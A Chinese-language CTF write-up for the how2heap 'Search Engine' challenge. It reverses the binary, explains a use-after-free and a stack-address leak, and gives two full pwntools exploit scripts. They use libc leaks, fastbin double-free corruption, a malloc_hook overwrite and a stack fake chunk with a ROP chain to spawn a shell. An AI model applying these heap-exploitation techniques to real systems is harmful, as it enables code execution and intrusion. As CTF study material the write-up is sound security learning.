最近的计划是带着练习题把how2heap复习一遍。Search Engine是fastbin dup into stack的第一道题目。二进制文件在这里:search

Reversing

checksec:

1
2
3
4
5
6
7
[*] '/ctf/work/search'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled

看一下程序的具体功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
1: Search with a word
2: Index a sentence
3: Quit
2
Enter the sentence size:
8
Enter the sentence:
aaaa bbb
Added sentence
1: Search with a word
2: Index a sentence
3: Quit
1
Enter the word size:
3
Enter the word:
bbb
Found 8: aaaa bbb
Delete this sentence (y/n)?
y
Deleted!
1: Search with a word
2: Index a sentence
3: Quit

通过index可以存入一个sentence,要求其中有空格,程序会以空格为分隔符将sentence分成多个word,通过search选项可以通过word找到sentence,如果找到了可以将sentence删除。

sentence和word结构体信息为:

1
2
3
4
5
6
7
8
9
10
11
struct Sentence{
char str[];
}

struct Word{ 0x28
char* word;
int size_word;
char* str;
int size_str;
struct Word* before;
}

index sentence时,会malloc一个chunk存储sentence,对应的word会使用Word结构体来保存。在search word的时候,先从0x6020b8取出最后一个word的地址,再根据before指针依次找到其他word。这个过程的约束条件为:

  • 对应的sentence不能为空
  • 大小一致
  • 内容一致

这里主要是需要绕过不为空的检查。

程序的主要漏洞点为free sentence的时候没有清空指针:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void search()
{
int size; // ebp
void *v1; // r12
__int64 i; // rbx
char v3; // [rsp+0h] [rbp-38h]

puts("Enter the word size:");
size = read_int();
if ( (unsigned int)(size - 1) > 0xFFFD )
puts_str("Invalid size");
puts("Enter the word:");
v1 = malloc(size); // 存储临时的目标word
read_until_newline((__int64)v1, size, 0);
for ( i = qword_6020B8; i; i = *(_QWORD *)(i + 32) )// 依次找word
{
if ( **(_BYTE **)(i + 16) ) // 如果字符串的最低位不为空
{
if ( *(_DWORD *)(i + 8) == size && !memcmp(*(const void **)i, v1, size) )// 找word,size要相同,内容要相同
{
__printf_chk(1LL, "Found %d: ", *(unsigned int *)(i + 24));
fwrite(*(const void **)(i + 16), 1uLL, *(signed int *)(i + 24), stdout);
putchar(10);
puts("Delete this sentence (y/n)?");
read_until_newline((__int64)&v3, 2, 1);
if ( v3 == 'y' )
{
memset(*(void **)(i + 16), 0, *(signed int *)(i + 24));
free(*(void **)(i + 16)); // 删除sentence,use after free
puts("Deleted!");
}
}
}
}
free(v1); // 删除临时的目标word
}

这使得我们可以uaf。当我们删除了sentence时,仍有一些word指向已经删除的bin,仍然可以查找这些word。

Leak libc

这道题目并非只有一种做法。先介绍第一种。

根据上面的分析,可以通过word查找已经被删除的sentence,我们可以通过unsortedbin来leak libc。由于unsortedbin中存储了main_arena相关的地址,所以sentence不为空,可以通过search时的检查。而原本的sentence内容被清空为\x00,我们可以通过search \x00来定位到这个sentence,内容会被程序输出,从而拿到libc 地址。

Fastbin attack

有了libc地址之后,我们可以通过fastbin attack覆盖malloc_hook为one gadget。由于sentence chunk的内容是我们完全控制的,所以以sentence为载体。

具体的exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
from pwn import *
import sys

context.terminal=["tmux", "sp", "-h"]
context.log_level='debug'

DEBUG = False

LOCAL = True
BIN = './search'
HOST = '127.0.0.1'
PORT = 1234

def index(size, data):
p.sendline('2')
p.sendlineafter('size:\n', str(size))
p.sendlineafter('sentence:\n', data)

def search(size, data):
p.sendline('1')
p.sendlineafter('size:\n', str(size))
p.sendlineafter('word:\n', data)

def exploit(p):
p.recv()
p.sendline(48*2*'a')
p.recvuntil('\n')
p.recvuntil(48*'a')
leak = u64(p.recv(6).ljust(8, '\x00'))
log.info('leak stack: '+hex(leak))

index(0x100, (0x100-2)*'a'+' '+'b') # 0

search(1, 'b')
p.recv()
p.sendline('y')

search(1, '\x00')

p.recvuntil('Found 256: ')
leak = u64(p.recv(6).ljust(8, '\x00'))
main_arena = leak-88
log.info('main_arena: '+hex(main_arena))
libc_base = leak-(0x7fe582a76b78-0x7fe5826b2000)
log.info('libc: '+hex(libc_base))

p.sendline('n')

index(0x60, 'a'*(0x60-2)+' b') # 1
index(0x60, 'a'*(0x60-2)+' b') # 2
index(0x60, 'a'*(0x60-2)+' b') # 3

search(1, 'b')
p.recv()
p.sendline('y') # 1
p.recv()
p.sendline('y') # 2
p.recv()
p.sendline('y') # 3

# 1->2->3->null

search(1, '\x00') # because sentence3'fd = 0
# so first fit is sentence2
p.recv()
p.sendline('y') # 2
p.recv()
p.sendline('n') # 1, dont delete
p.recv()
p.sendline('n') # 0, dont delete

# 2->1->2

fake = p64(main_arena-0x33).ljust(0x60, '\x00') # find 0x7f
index(0x60, fake) # 1->2->fake
index(0x60, 'a'*0x60)
index(0x60, 'b'*0x60)

one = libc_base+0xf02a4

pl = (0x7fd1a8d1fb10-0x7fd1a8d1fafd)*'a'+p64(one)
pl = pl.ljust(0x60, '\x00')
index(0x60, pl)

p.interactive()

return

if __name__ == "__main__":
elf = ELF('./search')
if len(sys.argv) > 1:
LOCAL = False
p = remote(HOST, PORT)
exploit(p)
else:
LOCAL = True
p = process('./search')
if DEBUG:
gdb.attach(p)
exploit(p)

总的来看理解起来不难。在构造fastbin的时候可能有点绕。由于最后一个fastbin的fd为空,所以被跳过,第一次被删除的是sentence2。sentence1没必要删除。sentence0是用来leak stack地址的,这里并没有用到stack地址。另外,构造malloc_hook附件的fake chunk的时候选择的是main_arena-0x33的位置。

Leak stack

程序还有另外一个漏洞点,可以泄露栈地址。在read_int函数中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 read_int()
{
__int64 result; // rax
char *endptr; // [rsp+8h] [rbp-50h]
char nptr; // [rsp+10h] [rbp-48h]
unsigned __int64 v3; // [rsp+48h] [rbp-10h]

v3 = __readfsqword(0x28u);
read_until_newline((__int64)&nptr, 48, 1);
result = strtol(&nptr, &endptr, 0);
if ( endptr == &nptr )
{
__printf_chk(1LL, "%s is not a valid number\n", &nptr);
result = read_int();
}
__readfsqword(0x28u);
return result;
}

有48字节的缓冲区。当输入的非数字内容恰好等于48字节时,没有添加截断,还会把内容输出,这可能将后面的内容连带着泄露出来。strtol的man说明:

1
2
3
If endptr is not NULL, strtol() stores the address of the first invalid character in *endptr.  If there were no digits at all, however,
strtol() stores the original value of str in *endptr. (Thus, if *str is not `\0' but **endptr is `\0' on return, the entire string was
valid.)

由于输入存储在栈上,这样栈的地址就可以泄露出来了。

Another way to leak libc

Leak libc还有另外一种途径,通过安排堆块,使得一个sentence的word chunk使用的是sentence的chunk。由于sentence的内容是完全可控的,我们可以伪造word结构体中的word指针和sentence指针,从而leak libc。

具体的步骤为:

  • 申请一个word结构体大小的sentence,即0x28大小,记为sentence1
  • 删除sentence1,进入bin
  • 申请一个其他大小的sentence,记为sentence2,那么sentence2的word结构体使用的就是sentence1
  • search ‘\x00’,将定位到sentence1,删除,sentence1进入bin
  • 此时申请一个同样大小的sentence3,使用的就是sentence1的chunk
  • 伪造sentecen3的内容为word结构体,word指向程序本身的字符串,sentence指向free@got,search字符串,输出got地址

这个思路是怎么得来的呢?

我们的目标是一个sentence的word chunk使用的是sentence bin,那么首先就要先申请一个sentence,再把这个sentence chunk变成word chunk,再把这个chunk放到bin中。而如何把sentence chunk变成word chunk,需要先把它放到bin中再malloc出来。这样就好理解了:sentence chunk ⇒ sentence bin ⇒ malloc as word chunk ⇒ word bin ⇒ malloc as sentence chunk。

Fastbin dup into stack

现在有了栈地址和libc地址,我们可以尝试在栈上分配fake chunk,从而覆盖返回地址附近的内存,这样就可以调用system(‘/bin/sh’)了。

我们可以用同样的方法构造fastbin,问题在于目标是谁?我们需要在返回地址附近找一个符合fastbin chunk size的地方。基本可以有两种选择;

  • 找0x7f
  • 找0x40

返回地址附近有一些libc地址,我最开始也是尝试用0x7f来作为目标,但是实测那块儿的内存并不稳定,所以失败了。找0x40的原因是代码段的范围为0x400000-0x402000,0x40是稳定存在的。最后通过0x40攻击成功。另外,覆盖为one gadget也失败了。

具体的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
from pwn import *
import sys

context.terminal=["tmux", "sp", "-h"]
context.log_level='debug'

DEBUG = False

LOCAL = True
BIN = './search'
HOST = '127.0.0.1'
PORT = 1234

def index(size, data):
p.sendline('2')
p.sendlineafter('size:\n', str(size))
p.sendlineafter('sentence:\n', data)

def search(size, data):
p.sendline('1')
p.sendlineafter('size:\n', str(size))
p.sendlineafter('word:\n', data)

def exploit(p):
p.recv()
p.sendline(48*2*'a')
p.recvuntil('\n')
p.recvuntil(48*'a')
stack_leak = u64(p.recv(6).ljust(8, '\x00'))
log.info('leak stack: '+hex(stack_leak))

'''
index a sentence1, size=info chunk
delete sentence1, have a sentence1 bin
index a sentence2, different size, info chunk will use sentence1 bin before
search '\x00' will delete sentence1, so sentence1 into fastbin chunk
index a same size sentence, sentence2's info chunk is sentence3
since we can control sentence2's info chunk, we can fake sentence addr
sentence'addr = got, search -> leak
'''
index(40, 38*'a'+' b')
search(1, 'b')
p.recv()
p.sendline('y')
# pause()
index(0x40, 0x40*'a')
search(1, '\x00')
p.recv()
p.sendline('y')

pl = ''
pl += p64(0x400E90) # 'Enter the word'
pl += p64(5)
pl += p64(elf.got['free'])
pl += p64(64)
pl += p64(0)

index(40, pl)

search(5, 'Enter') # fit the free@got, leak free
p.recvuntil('Found 64: ')
free_addr = u64(p.recv(6).ljust(8, '\x00'))
log.info('free: '+hex(free_addr))
libc_base = free_addr+0x7f0445c0b000-0x7f0445c8f4f0
log.info('libc_base: '+hex(libc_base))
system_addr = libc_base+0x45390
binsh_addr = libc_base+0x000000000018cd57
p.recv()
p.sendline('n')
'''
fastbin attack
target is to malloc a chunk on the stack
code segment in 0x400000-0x402000
so we can malloc(0x38) chunk to fake a 0x40 chunk
'''
size = 0x38
index(size, (size-2)*'a'+' t') # 3
index(size, (size-2)*'a'+' t') # 4
index(size, (size-2)*'a'+' t') # 5
search(1, 't')
p.recv()
p.sendline('y')
p.recv()
p.sendline('y')
p.recv()
p.sendline('y')
# 3->4->5->0
search(1, '\x00')
p.recv()
p.sendline('y') # delete 4
p.recv()
p.sendline('n')
# 4->3->4

fake = stack_leak+0x22-8
index(size, p64(fake).ljust(size, '\x00'))
index(size, size*'a')
index(size, size*'b')

pop_rdi_ret = 0x0000000000400e23
one = libc_base+0x4526a

pl = 30*'a'
pl += p64(pop_rdi_ret)+p64(binsh_addr)
pl += p64(system_addr)
# pl = 30*'a'
# pl += p64(one)
# pl += 'tttttttt'
index(size, pl.ljust(size, '\x00'))

p.interactive()

return

if __name__ == "__main__":
elf = ELF('./search')
if len(sys.argv) > 1:
LOCAL = False
p = remote(HOST, PORT)
exploit(p)
else:
LOCAL = True
p = process('./search')
if DEBUG:
gdb.attach(p)
exploit(p)

总的来说,这道题目有两种leak libc的方法,也有两种get shell的方法,还是值得一学的。

Ref